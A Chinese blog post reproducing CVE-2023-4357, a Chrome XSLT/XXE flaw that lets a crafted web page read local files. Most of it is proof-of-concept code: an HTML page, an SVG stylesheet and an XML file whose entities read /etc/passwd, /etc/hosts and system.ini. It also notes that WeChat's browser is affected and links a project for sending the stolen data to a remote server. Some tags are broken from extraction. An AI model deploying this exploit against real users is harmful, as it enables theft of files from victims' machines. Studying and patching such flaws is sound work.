• 谷歌浏览器任意文件访问漏洞(CVE-2023-4357)复现


    1.漏洞级别

    高危

    2.漏洞描述

    该漏洞的存在是由于 Google Chrome中未充分验证 XML 中不受信任的输入。远程攻击者可利用该漏洞通过构建的 HTML 页面绕过文件访问限制,导致chrome任意文件读取。
    总结:一个XXE漏洞

    3.利用范围

    Google Chrome < 116.0.5845.96
    所有使用谷歌内核的浏览器都能触发该漏洞 因此这个漏洞的利用范围其实非常广泛
    在复现的时候 对微信浏览器的复现依然可以成功
    
    • 1
    • 2
    • 3

    4.漏洞复现

    4.1 漏洞代码

    我们需要创建三个文件
    c.html

    
    <body>
      <div id="r">div>
      <script>
        const ifr = document.createElement('iframe');
        ifr.style.display = 'none';
        document.body.appendChild(ifr);
        ifr.onload = function() {
          const ifrContent = ifr.contentWindow.document.documentElement.innerHTML;
          r.innerHTML = `current url:
    ${location.href}

    get data:
    ${ifrContent}`
    ; } ifr.src = "./c2.svg"; var data = `current url:
    ${location.href}

    get data:
    ${ifrContent}`
    ; alert(data);
    script> body>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    c2.svg

    
    
    
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
      <xsl:template match="/">
        <svg width="1000%" height="1000%" version="1.1" xmlns="http://www.w3.org/2000/svg">
          <foreignObject class="node" font-size="18" width="100%" height="100%">
            <body xmlns="http://www.w3.org/1999/xhtml">
              <xmp>
                <xsl:copy-of select="document('./c3.xml')"/>
              xmp>
            body>
          foreignObject>
        svg>
      xsl:template>
    xsl:stylesheet>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    c3.xml

    
    
    
    
      
      
      
    ]>
    

    /etc/passwd: &passwd;

    /etc/hosts: &hosts;

    /etc/group: &group;

    c:/windows/system.ini: &sysini;

    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    注:

    xml文件是我们控制输出内容的,写法可以直接参考xml引用外部主体的方法,这里需要注意的是必须要写绝对路径
    
    • 1

    创建好这3个文件后,上传到服务器部署,没有web环境的童鞋可以通过python快速拉起一个

    python3 http.server 8080   #python3
    
    • 1

    简单复现,在微信电脑端直接搜索生成的网页链接,
    在这里插入图片描述点击访问,如果处于漏洞内核版本下就会成功触发
    在这里插入图片描述

    4.2 漏洞利用进阶

    这里的敏感数据显示都是存在于网页上,但是我们依然可以通过html的机制把这些敏感数据外发到指定服务器上

    可以参考这个项目

    https://github.com/idootop/all-seeing-eye/tree/main
    
    • 1

    后续有时间我就写一个简易的实现代码,如果想直接测试 可以用上面的项目

  • 相关阅读:
    TCP套接字编程详解
    Apollo 添加自己的地图并显示到DreamView
    Rescue-Prime hash STARK 代码解析
    设计模式-结构型模式
    【聚类算法】带你轻松搞懂K-means聚类(含代码以及详细解释)
    7年Android程序员转行一、二、三事
    软件流程和管理(四):PMP & Stakeholder Management
    PHP_EOL不起作用或者无效的原因
    mysql套用:查询近N个月的数据,没有数据的月份补0
    集成学习、boosting、bagging、Adaboost、GBDT、随机森林
  • 原文地址:https://blog.csdn.net/xiayu729100940/article/details/134515672